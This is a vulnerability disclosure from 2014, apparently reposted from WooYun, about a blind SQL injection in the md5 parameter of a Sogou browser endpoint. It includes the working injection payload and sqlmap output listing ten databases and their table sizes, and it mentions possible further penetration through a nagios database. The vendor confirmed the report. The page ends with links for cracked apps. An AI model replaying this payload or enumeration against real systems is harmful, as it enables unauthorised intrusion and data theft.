2014-05-02：细节已通知厂商并且等待厂商处理中
2014-05-04：厂商已经确认，细节仅向厂商公开
2014-05-14：细节向核心白帽子及相关领域专家公开
2014-05-24：细节向普通白帽子公开
2014-06-03：细节向实习白帽子公开
2014-06-16：细节向公众公开
有一个库中有近2亿条MD5，不知道是什么东西..
详细说明：安装最新版本的"搜狗高速浏览器"，打开后使用Burp抓包，发现浏览器对如下地址发起了一次HTTP请求:
http://tb.sogou.com/insert.php?url=http%3a%2f%2fse.cdn.sogou.com%2fapk_Install_2.2.0.12446.zip&md5=F918BF5773F2FC1569CC1974C1DF5742&size=2188000&mode=2&uid=2B754ADAC19E2444806FB84273D317CB
其中，md5参数存在布尔型盲注。
--count了一下发现nagios的库，应该是可以进一步渗透的。p4p库中有近两亿条MD5，不知道是什么东西..
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: md5
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: url=http://se.cdn.sogou.com/apk_Install_2.2.0.12446.zip&md5=F918BF5773F2FC1569CC1974C1DF5742' AND 6498=6498 AND 'KOBd'='KOBd&size=2188000&mode=2&uid=2B754ADAC19E2444806FB84273D317CB
---
web application technology: Nginx, PHP 5.1.6
back-end DBMS: MySQL 5
available databases [10]:
[*] geoip
[*] information_schema
[*] ipmap
[*] mysql
[*] nagios
[*] p4p
[*] proxyservers
[*] pxpadmin
[*] server_status
[*] test
Database: geoip
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| ip | 77947 |
| cc | 233 |
+---------------------------------------+---------+
Database: nagios
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| nagios_hostchecks | 209759 |
| nagios_timedevents | 55842 |
| nagios_servicechecks | 55703 |
| nagios_logentries | 4999 |
| nagios_systemcommands | 3623 |
| nagios_statehistory | 1248 |
| nagios_host_contacts | 732 |
| nagios_objects | 228 |
| nagios_contact_notificationcommands | 216 |
| nagios_timedeventqueue | 126 |
| nagios_hoststatus | 122 |
| nagios_service_contacts | 116 |
| nagios_configfilevariables | 97 |
| nagios_contactnotificationmethods | 56 |
| nagios_contactnotifications | 48 |
| nagios_services | 36 |
| nagios_servicestatus | 36 |
| nagios_commands | 29 |
| nagios_flappinghistory | 26 |
| nagios_timeperiod_timeranges | 24 |
| nagios_processevents | 22 |
| nagios_contacts | 18 |
| nagios_contactstatus | 18 |
| nagios_runtimevariables | 18 |
| nagios_contactgroup_members | 16 |
| nagios_commenthistory | 13 |
| nagios_contact_addresses | 8 |
| nagios_contactgroups | 8 |
| nagios_notifications | 8 |
| nagios_timeperiods | 4 |
| nagios_conninfo | 3 |
| nagios_configfiles | 1 |
| nagios_dbversion | 1 |
| nagios_instances | 1 |
| nagios_programstatus | 1 |
+---------------------------------------+---------+
Database: proxyservers
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| proxy | 325 |
+---------------------------------------+---------+
Database: mysql
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| help_relation | 850 |
| help_topic | 484 |
| help_keyword | 404 |
| `user` | 74 |
| db | 37 |
| help_category | 36 |
| tables_priv | 23 |
| columns_priv | 6 |
+---------------------------------------+---------+
Database: test
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| mysql_mon | 331986 |
| checksums | 19413 |
+---------------------------------------+---------+
Database: ipmap
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| ipmap | 189618 |
+---------------------------------------+---------+
Database: server_status
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| mixer | 22386964 |
| mmsclient | 21797795 |
| castingflux | 6431398 |
| other | 591353 |
| tracker | 68015 |
| mixererror | 10073 |
| mmsclienterror | 10029 |
| castingerror | 2732 |
| othererror | 2724 |
| trackererror | 1322 |
| message | 566 |
+---------------------------------------+---------+
Database: pxpadmin
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| server | 349 |
| castingserv | 327 |
| CS_cur | 324 |
| resource | 120 |
| channel | 116 |
| idc | 19 |
| contacts | 16 |
| platform | 16 |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 1239 |
| USER_PRIVILEGES | 451 |
| SCHEMA_PRIVILEGES | 438 |
| STATISTICS | 288 |
| KEY_COLUMN_USAGE | 269 |
| TABLE_PRIVILEGES | 231 |
| TABLE_CONSTRAINTS | 143 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 126 |
| COLLATIONS | 126 |
| TABLES | 124 |
| CHARACTER_SETS | 36 |
| SCHEMATA | 10 |
| COLUMN_PRIVILEGES | 6 |
+---------------------------------------+---------+
Database: p4p
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| md5 | 183041418 |
| software | 73765030 |
| uid_list | 53470743 |
| deadlink | 9237028 |
| user_holding | 6508087 |
| movie | 3658157 |
+---------------------------------------+---------+修复方案：
你们更专业:)
版权声明：转载请注明来源 超威蓝猫@乌云 漏洞回应 厂商回应：危害等级：高
漏洞Rank：10
确认时间：2014-05-04 16:45
厂商回复：感谢支持！
欢迎到SGSRC提交搜狗漏洞，地址： http://
暂无
版权与免责声明：
凡注明稿件来源的内容均为转载稿或由网友用户注册发布，本网转载出于传递更多信息的目的；如转载稿涉及版权问题，请作者联系我们，同时对于用户评论等信息，本网并不意味着赞同其观点或证实其内容的真实性；
![英雄棋士团(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/yingxiongqishituanyuxiazai.jpg)
![美食小当家?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/meishixiaodangjia.png)
![2047?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/2047.jpg)
![荣誉指挥官(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/rongyuzhihuiguanyuxiazai.png)
![繁荣美食市场物语?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/fanrongmeishishichangwuyu.jpg)
![夸克浏览器 v4.2.1.138 好用的手机浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/kuakezuolanqi.jpg)
![移动办公软件 OfficeSuite Premium v10.18.28716 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/yidongbangongruanjian.jpg)
![乐秀视频编辑器 VideoShow v8.8.4 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/lexiushipinbianjiqi.png)
![X 浏览器 v3.3.9 一款小巧的安卓浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/x.jpg)
![安卓密码管理软件 Enpass v6.4.5.368 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/anzhuomimaguanliruanjian.jpg)
![差分复制同步 FastCopy-M v3.6.3.51 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/FastCopy3.png)
![多标签页拓展 Clover v3.5.2 Build 19809 精简绿色版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Clover.png)
![文件重命名 Advanced Renamer v3.85 Lite 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Advanced_Renamer.png)
![网络防火监控 GlassWire Elite v2.1.166 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/GlassWire.png)
![影音播放器 Daum Potplayer v1.7.20538 美化便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/PotPlayer.png)
